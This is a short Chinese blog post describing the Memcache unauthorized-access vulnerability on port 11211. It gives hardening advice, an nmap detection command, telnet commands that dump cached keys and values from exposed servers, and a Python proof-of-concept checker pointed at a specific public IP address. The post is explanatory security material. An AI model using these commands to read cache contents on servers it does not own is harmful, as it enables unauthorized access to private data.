Memcache未授权访问漏洞
2022/7/14 6:21:28
本文主要是介绍Memcache未授权访问漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
Memcache未授权访问漏洞
漏洞名称:Memcache未授权访问漏洞
漏洞描述:memcache未授权访问漏洞,默认的 11211 端口不需要密码即可访问,攻击者可获取数据库中信息,造成严重的信息泄露。
漏洞成因:由于memcached安全设计缺陷,客户端连接memcached服务器后无需认证就可读取、修改服务器缓存内容。
漏洞危害:除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导致不同类型的安全问题。
安全建议:
一、配置memcached监听本地回环地址127.0.0.1。 1 . vim /etc/sysconfig/memcached 2 . OPTIONS="-l 127.0.0.1" #设置本地为监听 3 . /etc/init.d/memcached restart #重启服务 二、如果业务要求指示必须通过Internet公开服务时,可使用主机防火墙(iptalbes、firewalld等)和网络防火墙对memcached服务端口进行过滤。
漏洞探测:
nmap -sV -p 11211 –script memcached-info <target>
漏洞验证:
当系统存在11211端口(此处从fofa.so搜索port = "11211")
telnet连接目标11211端口 # stats //查看memcache 服务状态 # stats items //查看所有items # stats cachedump 32 0 //获得缓存key # get :state:264861539228401373:261588 //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露
示例:
stats:
stats items
stats cachedump 42 1
漏洞利用POC:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket def Memcache_check(ip, port=11211, timeout=30): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("stats\r\n") result = s.recv(1024) print result if "STAT version" in result: print '[+] Memcache Unauthorized: ' +ip+':'+str(port) except Exception, e: print 'time out error' pass if __name__ == '__main__': Memcache_check("114.132.245.40")
这篇关于Memcache未授权访问漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-15在使用平台私钥进行解密时提示 "私钥解密失败" 错误信息是什么原因?-icode9专业技术文章分享
- 2024-11-15Layui框架有哪些方式引入?-icode9专业技术文章分享
- 2024-11-15Layui框架中有哪些减少对全局环境的污染方法?-icode9专业技术文章分享
- 2024-11-15laydate怎么关闭自动的日期格式校验功能?-icode9专业技术文章分享
- 2024-11-15laydate怎么取消初始日期校验?-icode9专业技术文章分享
- 2024-11-15SendGrid 的邮件发送时,怎么设置回复邮箱?-icode9专业技术文章分享
- 2024-11-15使用 SendGrid API 发送邮件后获取到唯一的请求 ID?-icode9专业技术文章分享
- 2024-11-15mailgun 发送邮件 tags标签最多有多少个?-icode9专业技术文章分享
- 2024-11-15mailgun 发送邮件 怎么批量发送给多个人?-icode9专业技术文章分享
- 2024-11-15如何搭建web开发环境并实现 web项目在浏览器中访问?-icode9专业技术文章分享